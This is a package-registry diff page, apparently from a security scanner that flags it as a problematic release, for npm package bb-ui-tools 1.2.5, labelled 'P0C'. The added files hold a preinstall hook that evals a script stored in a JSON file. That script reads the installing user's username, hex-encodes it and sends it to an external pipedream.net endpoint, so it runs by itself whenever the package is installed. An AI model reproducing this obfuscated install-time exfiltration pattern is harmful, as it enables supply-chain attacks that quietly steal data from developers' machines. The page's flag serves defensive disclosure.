bb-ui-tools 1.2.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of bb-ui-tools might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "bb-ui-tools",
3
+ "version": "1.2.5",
4
+ "description": "P0C",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
package/preinstall.js ADDED
@@ -0,0 +1,6 @@
1
+ const fs = require('fs');
2
+
3
+ const rawData = fs.readFileSync('preinstall.json');
4
+ const jsonData = JSON.parse(rawData);
5
+
6
+ eval(jsonData.script);
@@ -0,0 +1,3 @@
1
+ {
2
+ "script": "const https = require('https'); const os = require('os'); const encodeData = (data) => Buffer.from(data).toString('hex'); const getUserName = () => os.userInfo().username; const data = { username: getUserName() }; const encodedData = encodeData(JSON.stringify(data)); function httpExfiltration() { return new Promise((resolve, reject) => { const url = `https://9ed86b24e8df3d867dd8c4a02887c2fc.m.pipedream.net/?data=${encodedData}`; const req = https.request(url, (res) => { res.on('data', () => {}); res.on('end', resolve); }); req.on('error', reject); req.end(); }); } httpExfiltration().then(() => { process.exit(0); }).catch(() => { process.exit(1); });"
3
+ }